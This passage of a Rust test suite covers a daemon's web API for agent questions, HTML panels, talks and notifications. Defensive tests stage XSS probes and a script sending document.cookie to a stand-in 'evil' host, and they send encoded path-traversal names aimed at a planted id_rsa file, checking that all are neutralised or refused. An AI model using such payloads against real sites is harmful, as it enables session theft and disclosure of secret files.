5927 _opts: daemon::Opts,
5928 _stop: daemon::Stop,
5929 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5930 Box::pin(async {
5931 Err(anyhow::anyhow!(
5932 "publish the daemon status file: read-only file system"
5933 ))
5934 })
5935 }
5936
5937 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
5944 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
5945
5946 fn launch_knocking_on_the_way_out(
5953 _opts: daemon::Opts,
5954 stop: daemon::Stop,
5955 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
5956 Box::pin(async move {
5957 while !stop.stopped() {
5958 tokio::time::sleep(Duration::from_millis(2)).await;
5959 }
5960 let addr = PARK_KNOCK
5961 .lock()
5962 .expect("park knock")
5963 .expect("the test set an address");
5964 let heard = request(addr, "GET", "/api/health", None).await.status;
5965 *PARK_HEARD.lock().expect("park heard") = Some(heard);
5966 Ok(())
5967 })
5968 }
5969
5970 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5979 for _ in 0..SETTLE_STEPS {
5980 let view = fx.get("/api/loop").await.json();
5981 if want(&view) {
5982 return view;
5983 }
5984 tokio::time::sleep(Duration::from_millis(10)).await;
5985 }
5986 panic!(
5987 "the loop never settled: {}",
5988 fx.get("/api/loop").await.json()
5989 );
5990 }
5991
5992 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5994 let store = fx.questions();
5995 let mut q = Question::new(
5996 "20260902-000000-beef".to_owned(),
5997 "implement".to_owned(),
5998 "impl-A".to_owned(),
5999 summary.to_owned(),
6000 "because it matters".to_owned(),
6001 choices.iter().map(|c| (*c).to_owned()).collect(),
6002 );
6003 store.put(&mut q).expect("put question");
6004 q.id
6005 }
6006
6007 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
6013 let store = fx.questions();
6014 let mut q = Question::new(
6015 "20260902-000000-beef".to_owned(),
6016 "land".to_owned(),
6017 "fix".to_owned(),
6018 "Merge this?".to_owned(),
6019 "the diff is in the panel".to_owned(),
6020 vec!["merge".to_owned(), "hold".to_owned()],
6021 );
6022 let staging = fx.home.path().join("staging");
6025 std::fs::create_dir_all(&staging).expect("staging dir");
6026 let sources: Vec<PathBuf> = assets
6027 .iter()
6028 .map(|(name, bytes)| {
6029 let path = staging.join(name);
6030 std::fs::write(&path, bytes).expect("write staged asset");
6031 path
6032 })
6033 .collect();
6034 store
6035 .put_panel(&mut q, html, &sources)
6036 .expect("write the panel");
6037 store.put(&mut q).expect("put question");
6038 q.id
6039 }
6040
6041 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
6050 let store = fx.talks();
6051 std::fs::create_dir_all(store.root()).expect("talks dir");
6052 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
6053 .expect("serialize a seat");
6054 let body = serde_json::json!({
6055 "schema": 1,
6056 "id": id,
6057 "repo": "/repo/magi",
6058 "agent": "mock",
6059 "status": status,
6060 "turns": [],
6061 "created_at": Timestamp::now().to_string(),
6062 "updated_at": Timestamp::now().to_string(),
6063 "seat": seat,
6064 });
6065 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
6066 store.get(id).expect("the seeded talk has to be readable");
6067 id.to_owned()
6068 }
6069
6070 #[tokio::test]
6071 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
6072 let fx = Fixture::start().await;
6073 let id = panel(
6074 &fx,
6075 "<h1>Merge?</h1><img src=\"diff.svg\">",
6076 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
6077 );
6078
6079 for path in [
6080 format!("/api/questions/{id}/panel"),
6081 format!("/api/questions/{id}/asset/diff.svg"),
6082 ] {
6083 let res = fx.get(&path).await;
6084 assert_eq!(res.status, 200, "{path}: {}", res.body);
6085 assert_eq!(
6091 res.header("content-security-policy"),
6092 Some(
6093 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
6094 font-src data:; base-uri 'none'; form-action 'none'; \
6095 frame-ancestors 'self'"
6096 ),
6097 "{path} is the only thing between a hostile panel and the tailnet"
6098 );
6099 assert_eq!(
6100 res.header("x-content-type-options"),
6101 Some("nosniff"),
6102 "{path}: a browser must not re-decide the type we sent"
6103 );
6104 assert_eq!(
6105 res.header("referrer-policy"),
6106 Some("no-referrer"),
6107 "{path}: a panel must not leak the question id off the machine"
6108 );
6109
6110 let pre = fx.head(&path).await;
6115 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
6116 assert_eq!(
6117 pre.header("content-security-policy"),
6118 res.header("content-security-policy"),
6119 "{path}: the preflight carries the same policy"
6120 );
6121 assert_eq!(
6122 pre.header("content-type"),
6123 res.header("content-type"),
6124 "{path}: the preflight carries the same type"
6125 );
6126 }
6127 }
6128
6129 #[tokio::test]
6130 async fn a_panel_reaches_the_browser_byte_for_byte() {
6131 let fx = Fixture::start().await;
6132 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
6137 let id = panel(&fx, html, &[]);
6138
6139 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
6140
6141 assert_eq!(res.status, 200);
6142 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
6143 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
6144 assert_eq!(
6145 res.header("content-disposition"),
6146 None,
6147 "the panel itself is rendered in the frame, not downloaded"
6148 );
6149 }
6150
6151 #[tokio::test]
6152 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
6153 let fx = Fixture::start().await;
6154 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
6155 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
6156 let id = panel(
6157 &fx,
6158 "<img src=\"diff.svg\"><img src=\"shot.png\">",
6159 &[("diff.svg", svg), ("shot.png", png)],
6160 );
6161
6162 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
6163 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
6164
6165 assert_eq!(as_svg.status, 200);
6166 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
6167 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
6172
6173 assert_eq!(as_png.status, 200);
6174 assert_eq!(as_png.header("content-type"), Some("image/png"));
6175 assert_eq!(
6176 as_png.header("content-disposition"),
6177 None,
6178 "a raster image has no execution surface, so tapping it still shows it"
6179 );
6180 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
6181 }
6182
6183 #[tokio::test]
6184 async fn an_html_asset_is_never_served_as_html() {
6185 let fx = Fixture::start().await;
6186 let id = panel(
6187 &fx,
6188 "<p>see the notes</p>",
6189 &[
6190 (
6191 "notes.html",
6192 b"<script>fetch('http://evil/'+document.cookie)</script>",
6193 ),
6194 ("hook.js", b"fetch('http://evil/')"),
6195 ("data.json", b"{}"),
6196 ("HEADLINE.TXT", b"plain"),
6197 ],
6198 );
6199
6200 for name in ["notes.html", "hook.js", "data.json"] {
6201 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
6202 assert_eq!(res.status, 200, "{name}: {}", res.body);
6203 assert_eq!(
6208 res.header("content-type"),
6209 Some("application/octet-stream"),
6210 "{name} must not be a type the browser will execute or render"
6211 );
6212 }
6213 let txt = fx
6216 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
6217 .await;
6218 assert_eq!(
6219 txt.header("content-type"),
6220 Some("text/plain; charset=utf-8")
6221 );
6222 }
6223
6224 #[tokio::test]
6225 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
6226 let fx = Fixture::start().await;
6227 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
6228 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
6232
6233 for encoded in [
6240 "%2e%2e%2fid_rsa",
6241 "..%2fid_rsa",
6242 "..%5cid_rsa",
6243 "%2e%2e%5cid_rsa",
6244 "diff%00.svg",
6245 "..",
6246 ".hidden",
6247 "%2e%2e%2f%2e%2e%2fid_rsa",
6248 ] {
6249 let res = fx
6250 .get(&format!("/api/questions/{id}/asset/{encoded}"))
6251 .await;
6252 assert_eq!(
6253 res.status, 400,
6254 "`{encoded}` has to be refused by name, not looked up: {}",
6255 res.body
6256 );
6257 assert!(res.json()["error"].is_string(), "{}", res.body);
6258 }
6259
6260 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
6266 let res = fx
6267 .get(&format!("/api/questions/{id}/asset/{literal}"))
6268 .await;
6269 assert_eq!(
6270 res.status, 404,
6271 "`{literal}` must not match the asset route at all: {}",
6272 res.body
6273 );
6274 }
6275 }
6276
6277 #[tokio::test]
6278 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
6279 let fx = Fixture::start().await;
6280 let plain = ask(&fx, "Which backend?", &["SQLite"]);
6281 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
6282
6283 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
6287 assert_eq!(none.status, 404, "{}", none.body);
6288 assert!(none.json()["error"].is_string(), "{}", none.body);
6289 assert_eq!(
6290 fx.head(&format!("/api/questions/{plain}/panel"))
6291 .await
6292 .status,
6293 404,
6294 "the preflight is the only way the client can learn this"
6295 );
6296
6297 let missing = fx
6299 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
6300 .await;
6301 assert_eq!(missing.status, 404, "{}", missing.body);
6302 assert!(missing.json()["error"].is_string(), "{}", missing.body);
6303
6304 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
6306 assert_eq!(
6307 fx.get("/api/questions/nope/asset/diff.svg").await.status,
6308 404
6309 );
6310 }
6311
6312 #[tokio::test]
6313 async fn a_run_with_an_open_question_reads_as_waiting() {
6314 let fx = Fixture::start().await;
6315 let run = "20260902-000000-beef".to_owned();
6316 write_run(&fx.runs(), &run, RunStatus::Implementing);
6317
6318 let before = fx.get("/api/runs").await.json();
6319 assert_eq!(before[0]["waiting"], false, "{before}");
6320
6321 let store = fx.questions();
6322 let mut q = Question::new(
6323 run.clone(),
6324 "implement".to_owned(),
6325 "impl-A".to_owned(),
6326 "Which backend?".to_owned(),
6327 String::new(),
6328 vec!["SQLite".to_owned()],
6329 );
6330 store.put(&mut q).expect("put");
6331
6332 let during = fx.get("/api/runs").await.json();
6333 assert_eq!(during[0]["waiting"], true, "{during}");
6334
6335 q.answer(Answer::Choice("SQLite".to_owned()))
6338 .expect("answer");
6339 store.put(&mut q).expect("put");
6340 let after = fx.get("/api/runs").await.json();
6341 assert_eq!(after[0]["waiting"], false, "{after}");
6342 }
6343
6344 #[tokio::test]
6345 async fn an_open_question_is_listed_and_counted_by_health() {
6346 let fx = Fixture::start().await;
6347 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
6348
6349 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6350 let listed = fx.get("/api/questions").await.json();
6351 assert_eq!(listed.as_array().expect("array").len(), 1);
6352 assert_eq!(listed[0]["id"], id);
6353 assert_eq!(listed[0]["status"], "open");
6354 assert_eq!(listed[0]["choices"][1], "Redis");
6355 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6358 }
6359
6360 #[tokio::test]
6361 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
6362 let fx = Fixture::start().await;
6363 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6364 let path = format!("/api/questions/{id}/answer");
6365
6366 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
6367 assert_eq!(res.status, 200, "{}", res.body);
6368 let body = res.json();
6369 assert_eq!(body["status"], "answered");
6370 assert_eq!(body["answer"]["choice"], "Redis");
6371
6372 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
6376 assert_eq!(again.status, 409, "{}", again.body);
6377 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
6378 }
6379
6380 #[tokio::test]
6381 async fn saying_something_appends_a_turn_without_answering() {
6382 let fx = Fixture::start().await;
6383 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6384 let path = format!("/api/questions/{id}/say");
6385
6386 let res = fx
6387 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
6388 .await;
6389 assert_eq!(res.status, 200, "{}", res.body);
6390 let body = res.json();
6391 assert_eq!(body["status"], "open", "talking back is not a decision");
6392 assert_eq!(body["answer"], Value::Null);
6393 assert_eq!(body["thread"][0]["who"], "operator");
6394 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
6395 assert_eq!(body["waiting_on_agent"], true);
6396 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6398 }
6399
6400 #[tokio::test]
6401 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
6402 let fx = Fixture::start().await;
6403 let store = fx.questions();
6404 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6405 assert_eq!(
6406 fx.get("/api/health").await.json()["questions_needs_owner"],
6407 1
6408 );
6409
6410 let res = fx
6416 .post(
6417 &format!("/api/questions/{id}/say"),
6418 Some(r#"{"body":"why not Postgres?"}"#),
6419 )
6420 .await;
6421 assert_eq!(res.status, 200, "{}", res.body);
6422 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6423 assert_eq!(
6424 fx.get("/api/health").await.json()["questions_needs_owner"],
6425 0,
6426 "waiting on the agent is not waiting on the owner"
6427 );
6428
6429 let mut q = store.get(&id).expect("get");
6433 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
6434 .expect("reply");
6435 store.put(&mut q).expect("put");
6436 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6437 assert_eq!(
6438 fx.get("/api/health").await.json()["questions_needs_owner"],
6439 1,
6440 "the agent's reply is what should light the banner back up"
6441 );
6442 }
6443
6444 #[tokio::test]
6445 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
6446 let fx = Fixture::start().await;
6447 let store = fx.questions();
6448
6449 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6450 let res = fx
6451 .post(
6452 &format!("/api/questions/{empty_id}/say"),
6453 Some(r#"{"body":" "}"#),
6454 )
6455 .await;
6456 assert_eq!(res.status, 400, "{}", res.body);
6457
6458 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6459 let mut answered = store.get(&answered_id).expect("get");
6460 answered
6461 .answer(Answer::Choice("SQLite".to_owned()))
6462 .expect("answer");
6463 store.put(&mut answered).expect("put");
6464 let res = fx
6465 .post(
6466 &format!("/api/questions/{answered_id}/say"),
6467 Some(r#"{"body":"still there?"}"#),
6468 )
6469 .await;
6470 assert_eq!(res.status, 409, "{}", res.body);
6471
6472 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6473 let mut abandoned = store.get(&abandoned_id).expect("get");
6474 abandoned.abandon("timed out");
6475 store.put(&mut abandoned).expect("put");
6476 let res = fx
6477 .post(
6478 &format!("/api/questions/{abandoned_id}/say"),
6479 Some(r#"{"body":"still there?"}"#),
6480 )
6481 .await;
6482 assert_eq!(res.status, 409, "{}", res.body);
6483 }
6484
6485 #[tokio::test]
6486 async fn an_answer_the_question_does_not_offer_is_refused() {
6487 let fx = Fixture::start().await;
6488 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
6489 let path = format!("/api/questions/{id}/answer");
6490
6491 for body in [
6492 r#"{"choice":"Postgres"}"#,
6493 r#"{"text":"whatever you think"}"#,
6494 r#"{"choice":"Redis","text":"both"}"#,
6495 r#"{}"#,
6496 ] {
6497 let res = fx.post(&path, Some(body)).await;
6498 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
6499 assert!(res.json()["error"].is_string(), "{}", res.body);
6500 }
6501 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
6503 }
6504
6505 #[tokio::test]
6506 async fn a_free_text_question_takes_text_and_not_a_choice() {
6507 let fx = Fixture::start().await;
6508 let id = ask(&fx, "What should the flag be called?", &[]);
6509 let path = format!("/api/questions/{id}/answer");
6510
6511 assert_eq!(
6512 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
6513 400
6514 );
6515 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
6516 assert_eq!(res.status, 200, "{}", res.body);
6517 assert_eq!(res.json()["answer"]["text"], "--json");
6518 }
6519
6520 #[tokio::test]
6521 async fn an_unknown_question_is_a_json_404() {
6522 let fx = Fixture::start().await;
6523 let res = fx
6524 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
6525 .await;
6526 assert_eq!(res.status, 404, "{}", res.body);
6527 assert!(res.json()["error"].is_string());
6528 }
6529
6530 #[tokio::test]
6531 async fn notifications_list_read_dismiss_and_health_agree() {
6532 let fx = Fixture::start().await;
6533 let store = Notices::at(fx.home.path().join("notifications"));
6534 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
6535 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
6536
6537 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
6538 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
6539
6540 let health = fx.get("/api/health").await.json();
6541 assert_eq!(health["notifications_unread"], 2);
6542 assert_ne!(
6543 health["notifications_rev"], rev0,
6544 "the badge must move live"
6545 );
6546
6547 let listed = fx.get("/api/notifications").await.json();
6548 assert_eq!(listed["unread"], 2);
6549 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
6550 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
6551
6552 let read = fx
6553 .post(&format!("/api/notifications/{}/read", a.id), None)
6554 .await;
6555 assert_eq!(read.status, 200, "{}", read.body);
6556 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
6557
6558 let gone = fx
6559 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
6560 .await;
6561 assert_eq!(gone.status, 200, "{}", gone.body);
6562 let listed = fx.get("/api/notifications").await.json();
6563 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
6564 assert_eq!(listed["unread"], 0);
6565
6566 store.raise(Notice::info("x", "again")).unwrap();
6567 let all = fx.post("/api/notifications/read-all", None).await;
6568 assert_eq!(all.status, 200, "{}", all.body);
6569 assert_eq!(all.json()["marked"], 1);
6570 assert_eq!(
6571 fx.get("/api/health").await.json()["notifications_unread"],
6572 0
6573 );
6574
6575 let missing = fx.post("/api/notifications/nope/read", None).await;
6576 assert_eq!(missing.status, 404, "{}", missing.body);
6577 assert!(missing.json()["error"].is_string());
6578 }
6579
6580 #[tokio::test]
6587 async fn a_task_cannot_be_filed_over_the_phone_directly() {
6588 let f = Fixture::start().await;
6589
6590 let res = f
6591 .post(
6592 "/api/queue",
6593 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
6594 )
6595 .await;
6596
6597 assert_eq!(
6598 res.status, 405,
6599 "POST /api/queue must not be a route: {}",
6600 res.body
6601 );
6602 assert!(
6603 f.queue().list().is_empty(),
6604 "a task filed by a route that does not exist must not reach the disk"
6605 );
6606 assert_eq!(f.get("/api/queue").await.status, 200);
6609 }
6610
6611 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
6613 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
6614 .expect("checkout dir");
6615 }
6616
6617 #[tokio::test]
6618 async fn repos_list_returns_name_and_path_for_every_configured_root() {
6619 let tmp = TempDir::new().expect("tempdir");
6620 let repo = tmp.path().join("repo");
6621 std::fs::create_dir_all(&repo).expect("repo dir");
6622 let root = tmp.path().join("root");
6623 make_checkout(&root, "github.com", "yukimemi", "magi");
6624 std::fs::write(
6625 repo.join("magi.toml"),
6626 format!(
6627 "[repos]\nroots = [{:?}]\n",
6628 root.to_string_lossy().into_owned()
6629 ),
6630 )
6631 .expect("write magi.toml");
6632
6633 let f = Fixture::with_repo(repo).await;
6634 let res = f.get("/api/repos").await;
6635 assert_eq!(res.status, 200, "{}", res.body);
6636 let list = res.json();
6637 let repos = list.as_array().expect("an array");
6638 assert_eq!(repos.len(), 1);
6639 assert_eq!(repos[0]["name"], "yukimemi/magi");
6640 assert!(
6641 repos[0]["path"]
6642 .as_str()
6643 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
6644 "{list}"
6645 );
6646 }
6647
6648 #[tokio::test]
6649 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
6650 let tmp = TempDir::new().expect("tempdir");
6651 let repo = tmp.path().join("repo");
6652 std::fs::create_dir_all(&repo).expect("repo dir");
6653 let root = tmp.path().join("root");
6654 make_checkout(&root, "github.com", "yukimemi", "magi");
6655 std::fs::write(
6656 repo.join("magi.toml"),
6657 format!(
6658 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
6659 root.to_string_lossy().into_owned()
6660 ),
6661 )
6662 .expect("write magi.toml");
6663
6664 let f = Fixture::with_repo(repo).await;
6665 let first = f.get("/api/repos").await;
6666 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
6667
6668 make_checkout(&root, "github.com", "yukimemi", "rvpm");
6671 let second = f.get("/api/repos").await;
6672 assert_eq!(
6673 second.json().as_array().map(Vec::len),
6674 Some(1),
6675 "a fresh cache must not rescan inside the TTL"
6676 );
6677
6678 let refreshed = f.get("/api/repos?refresh=1").await;
6679 assert_eq!(
6680 refreshed.json().as_array().map(Vec::len),
6681 Some(2),
6682 "an explicit refresh must rescan even inside the TTL"
6683 );
6684 }
6685
6686 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
6692
6693 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
6697 let tmp = TempDir::new().expect("tempdir");
6698 let repo = tmp.path().join("repo");
6699 std::fs::create_dir_all(&repo).expect("repo dir");
6700 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6701 let f = Fixture::with_repo(repo.clone()).await;
6702 (tmp, repo, f)
6703 }
6704
6705 #[tokio::test]
6706 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
6707 let (_tmp, _repo, f) = talk_fixture().await;
6708
6709 let opened = f.post("/api/talks", None).await;
6712 assert_eq!(opened.status, 201, "{}", opened.body);
6713 let body = opened.json();
6714 assert_eq!(body["status"], "open");
6715 assert_eq!(
6716 body["turns"].as_array().unwrap().len(),
6717 0,
6718 "opening takes no agent turn: there is nothing yet to answer"
6719 );
6720
6721 let also_opened = f.post("/api/talks", Some("{}")).await;
6723 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
6724
6725 let listed = f.get("/api/talks").await.json();
6726 assert_eq!(listed.as_array().unwrap().len(), 2);
6727 }
6728
6729 #[tokio::test]
6730 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6731 let f = Fixture::start().await;
6732 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6733 let queue = f.queue();
6734 let mut mine = Task::new(
6735 "rename the loader".to_owned(),
6736 "rename the loader".to_owned(),
6737 PathBuf::from("/repo/magi"),
6738 Source::Agent {
6739 run: talk_id.clone(),
6740 node: "chat".to_owned(),
6741 },
6742 );
6743 queue.put(&mut mine).expect("file the task");
6744 let mut theirs = Task::new(
6745 "unrelated".to_owned(),
6746 "unrelated".to_owned(),
6747 PathBuf::from("/repo/magi"),
6748 Source::Human,
6749 );
6750 queue.put(&mut theirs).expect("file the task");
6751
6752 let res = f.get(&format!("/api/talks/{talk_id}")).await;
6753 assert_eq!(res.status, 200, "{}", res.body);
6754 let body = res.json();
6755 assert_eq!(
6756 body["status"], "open",
6757 "filing a task does not close a talk"
6758 );
6759 let tasks = body["tasks"].as_array().expect("tasks array");
6760 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6761 assert_eq!(tasks[0]["id"], mine.id);
6762 }
6763
6764 #[tokio::test]
6765 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6766 let (_tmp, _repo, f) = talk_fixture().await;
6767 let id = f.post("/api/talks", None).await.json()["id"]
6768 .as_str()
6769 .expect("id")
6770 .to_owned();
6771
6772 let res = f
6773 .post(
6774 &format!("/api/talks/{id}/say"),
6775 Some(r#"{"text":"what does the queue module do?"}"#),
6776 )
6777 .await;
6778 assert_eq!(res.status, 202, "{}", res.body);
6779 let queued = res.json();
6780 let turns = queued["turns"].as_array().expect("turns array");
6781 assert_eq!(
6782 turns.len(),
6783 1,
6784 "the answer reflects only what is on disk the instant it is sent, \
6785 before the agent's turn - which can run for the whole of \
6786 `[graph] timeout_talk` - has a chance to land: {queued}"
6787 );
6788 assert_eq!(turns[0]["who"], "operator");
6789 assert_eq!(turns[0]["body"], "what does the queue module do?");
6790 assert_eq!(
6791 queued["thinking"], true,
6792 "the accepted response exposes the background turn claim: {queued}"
6793 );
6794
6795 let mut turns_after = 1;
6796 for _ in 0..SETTLE_STEPS {
6797 let detail = f.get(&format!("/api/talks/{id}")).await.json();
6798 turns_after = detail["turns"].as_array().expect("turns array").len();
6799 if turns_after == 2 {
6800 break;
6801 }
6802 tokio::time::sleep(Duration::from_millis(10)).await;
6803 }
6804 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6805 }
6806
6807 #[tokio::test]
6834 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
6835 let tmp = TempDir::new().expect("tempdir");
6836 let repo = tmp.path().join("repo");
6837 std::fs::create_dir_all(&repo).expect("repo dir");
6838 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6839 let home = TempDir::new().expect("temp home");
6840 let talks = Talks::at(home.path().join("talks"));
6841 let ui = Arc::new(
6842 Ui::new(
6843 Queue::at(home.path().join("queue")),
6844 Questions::at(home.path().join("questions")),
6845 talks.clone(),
6846 home.path().join("runs"),
6847 home.path().to_path_buf(),
6848 repo.clone(),
6849 )
6850 .with_worktrees_root(home.path().join("wt")),
6851 );
6852 let cfg = config_for(&repo).await.expect("discover config");
6853
6854 for delay in 0..40u32 {
6855 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6856 let id = talk.id.clone();
6857
6858 let handler = tokio::spawn(talk_say(
6859 State(Arc::clone(&ui)),
6860 Path(id.clone()),
6861 Ok(Json(NewTalkTurn {
6862 text: "what does the queue module do?".to_owned(),
6863 attachments: Vec::new(),
6864 })),
6865 ));
6866 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
6867 handler.abort();
6868 let _ = handler.await;
6871
6872 let mut turns = 0;
6873 for _ in 0..SETTLE_STEPS {
6874 if let Ok(fresh) = talks.get(&id) {
6875 turns = fresh.turns.len();
6876 if turns != 1 {
6877 break;
6878 }
6879 }
6880 tokio::time::sleep(Duration::from_millis(10)).await;
6881 }
6882 assert_ne!(
6883 turns, 1,
6884 "delay {delay}: talk {id} recorded the operator's turn but \
6885 the agent never answered - the reply task was never \
6886 started after the handler future was dropped"
6887 );
6888 }
6889 }
6890
6891 #[tokio::test]
6936 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
6937 let tmp = TempDir::new().expect("tempdir");
6938 let repo = tmp.path().join("repo");
6939 std::fs::create_dir_all(&repo).expect("repo dir");
6940 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
6941 let home = TempDir::new().expect("temp home");
6942 let talks = Talks::at(home.path().join("talks"));
6943 let ui = Arc::new(
6944 Ui::new(
6945 Queue::at(home.path().join("queue")),
6946 Questions::at(home.path().join("questions")),
6947 talks.clone(),
6948 home.path().join("runs"),
6949 home.path().to_path_buf(),
6950 repo.clone(),
6951 )
6952 .with_worktrees_root(home.path().join("wt")),
6953 );
6954 let cfg = config_for(&repo).await.expect("discover config");
6955
6956 for attempt in 0..3u32 {
6957 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
6958 let id = talk.id.clone();
6959 let turn_guard = ui
6962 .begin_talk_turn(&id)
6963 .expect("claim the turn")
6964 .expect("a fresh talk owes nobody a turn");
6965
6966 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
6967 let (release_tx, release_rx) = std::sync::mpsc::channel();
6968 ui.set_busy_queue_gate(BusyQueueGate {
6969 reached: reached_tx,
6970 release: release_rx,
6971 });
6972
6973 let handler = tokio::spawn(talk_say(
6974 State(Arc::clone(&ui)),
6975 Path(id.clone()),
6976 Ok(Json(NewTalkTurn {
6977 text: "what does the queue module do?".to_owned(),
6978 attachments: Vec::new(),
6979 })),
6980 ));
6981
6982 tokio::time::timeout(Duration::from_secs(5), reached_rx)
6987 .await
6988 .unwrap_or_else(|_| {
6989 panic!(
6990 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
6991 )
6992 })
6993 .expect("the busy branch dropped the gate without using it");
6994
6995 let running = talks.get(&id).expect("reload talk");
7002 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
7003
7004 handler.abort();
7008 let _ = handler.await;
7009
7010 let _ = release_tx.send(());
7016
7017 let mut fresh = talks.get(&id).expect("reload talk");
7020 for _ in 0..SETTLE_STEPS {
7021 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
7022 break;
7023 }
7024 tokio::time::sleep(Duration::from_millis(10)).await;
7025 fresh = talks.get(&id).expect("reload talk");
7026 }
7027 assert!(
7028 fresh.pending.is_empty() && fresh.turns.len() == 2,
7029 "attempt {attempt}: talk {id} left the operator's text queued \
7030 with no drainer - the reclaimed turn was dropped along with \
7031 the handler future (pending {:?}, {} turns)",
7032 fresh.pending,
